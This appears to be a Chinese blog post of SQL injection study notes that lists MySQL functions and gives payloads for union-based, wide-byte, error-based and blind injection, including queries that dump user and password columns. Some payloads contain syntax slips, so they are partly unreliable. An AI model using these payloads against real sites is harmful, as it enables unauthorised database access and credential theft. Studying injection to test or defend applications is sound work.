SQL注入学习整理

Posted 审查元素重现江湖

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入学习整理相关的知识,希望对你有一定的参考价值。

0x01:什么是SQL注入?

    SQL注入(SQLi)是一种注入攻击,,可以执行恶意SQL语句。它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器。攻击者可以使用SQL注入漏洞绕过应用程序安全措施;可以绕过网页或Web应用程序的身份验证和授权,并检索整个SQL数据库的内容;还可以使用SQL注入来添加,修改和删除数据库中的记录。


0x02:SQL注入可用函数

注入函数system user() 系统用户名concat() 没有分隔符地连接字符串user() 用户名concat_ws() 含有分隔符地连接字符串current_user() 当前用户名group_concat() 连接个组的所有字符串,并以逗号分隔每条数据session user() 连接数据库的用户名load. file() 读取本地文件database() 数据库名into outfile 写文件version() 数据库版本ascii() 字符串的ASCI代码值@@datadir 数据库路径ord() 返回字符串第一个字符的ASCI值@@basedir 数据库安装路径mid() 返回一个字符串的一部分@@version_compile. os 操作系统substr() 返回个字符串的部分count() 返回执行结果数量length() 返回字符串的长度left() 返回字符串最左面的几个字符floor() 返回小于或等于x的最大整数rand() 返回01之间的随机数
extractvalue()语法:extractvalue(目标xml文档,xml路径)第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错
updatexml()updatexml()函数与extractvalue()类似,是更新xml文档的函数。语法updatexml(目标xml文档,xml路径,更新的内容)
sleep() 让此语句x秒后执行
if() IF(condition, value_if_true, value_if_false) IF函数根据条件的结果为truefalse,返回第一个值,或第二个值condition必须,判断条件value_if_true可选,当条件为true值返回的值condition可选,当条件为false值返回的值SELECT IF(500<1000, 5, 10);
char() 返回整数ASCII代码字符组成的字符串 strcmp() 比较字符串内容 strcmp('a','b') 转为ascii 对比大小ifnull() 假如参数1不为null,返回参数1 ,否则返回值为参数2exp() 返回e的x次方


0x03:SQL注入语句分析

select user() regexp '^ro' 正则表达式搜索 带ro 的用户ascii(substr((select user(),1,1))=114 // 把查询的user分片,第一个用户的第一个字转成ascii 是否等于114if(ascii(substr((select user())1,1))=114,0,sleep(5)) //绕过第一个字母等于114 就返回0 不等于就sleep
(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)1,1))=9)查询第一个数据库的第一个字母是否=9
updatexml(1,concat(0x7e,(select @@version),0x7e)1,) //通过报错执行查看版本 0x7e === ~


0x04:普通sql注入

//判断是否有注入,是字符型还是数字型。id = 1' and '1' = '1 #如果返回正确结果,说明是字符型注入,因为引号被闭合。
//猜解查询语句中的字段数,,这里有两种方法id = 1' or 1=1 order by 3 ##如果返回错误结果,说明有2个字段id = 1' union select 1,2,3##如果返回正确结果,说明有2个字段
//利用information_schema 获得表名'union select 1,2,table_name from information_schema.tables #//获取表中字段' union select 1,column_type,column_name from information_schema.columns where table_name = 'secret_table'#//获取字段数据' union select 1,2,fl4g from secret_table #
//获取当前数据库1' union select 1,database();
//获取数据库中的表1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()#
//获取表中的字段1' union select 1,group_concat(column_name) from information_schema.columns where table_name = "users"#
//获取数据1' union select 1,group_concat(user,password) from users#


0x05:宽字节注入

//宽字节注入的关键点在于单引号被转义,但是编码设置错误导致的//当源代码中出现了mysql_query("SET NAMES 'gbk'");时,就有可能发生宽字节注入id = 1%df'绕过并在sql语句中使用十六进制码来绕过单引号?id=1%df%27%20and%201=2%20order%20by%203%23


0x06:报错注入

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));#更改updatexml中的查询语句即可#一般是在页面没有显示位、但用echo mysql_error();输出了错误信息的时候使用,#它的特点是注入速度快,但是语句较复杂,不能用group_concat(),只能用limit依次猜解


0x07:盲注

//测试是否存在盲注和判断是否是字符型 1' and 1=1#1' and 1=2##如果两方显示的结果不同,那么则为字符型注入
//猜解当前数据库名的长度1' and length(database()) = 1#//使用二分法猜解数据名1' and ascii(substr(database(),1,1)) > 97##substr(str,start,length)
//猜解数据库中的表名的数量1' and (select count(table_name) from information_schema.tables where table_schema=database())=1#
//猜解表名的长度1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1##substr()如果length参数为无,那么就默认到字符串末尾//猜解表名1' and ascii(substr((select table_name from information_schema.tables where table_schema=database()),1,1))>97#//猜解表中的字段的数量1' and (select count(column_name) from information_schema.columns where table_name="users")=1#//猜解表中的字段的长度1' and length(substr((select column_name from information_schema.columns where table_name="users"),1))=1#
//猜解字段名1' and ascii(substr(select column_name from information_schema.columns where table_name="users"),1,1)>97#
//猜解数据1' and ascii(substr(select user,password from users),1,1)>91#

最后

      感谢大家,以后会慢慢完善






























































以上是关于SQL注入学习整理的主要内容,如果未能解决你的问题,请参考以下文章

SQL注入学习笔记整理

SQL注入漏洞篇

安全测试 web安全测试 常规安全漏洞 可能存在SQL和JS注入漏洞场景分析。为什么自己没有找到漏洞,哪么可能存在漏洞场景是?SQL注入漏洞修复 JS注入漏洞修复 漏洞存在场景分析和修复示例(代码片段

IOS开发-OC学习-常用功能代码片段整理

让你彻底明白sql注入攻击

SQL注入相关知识整理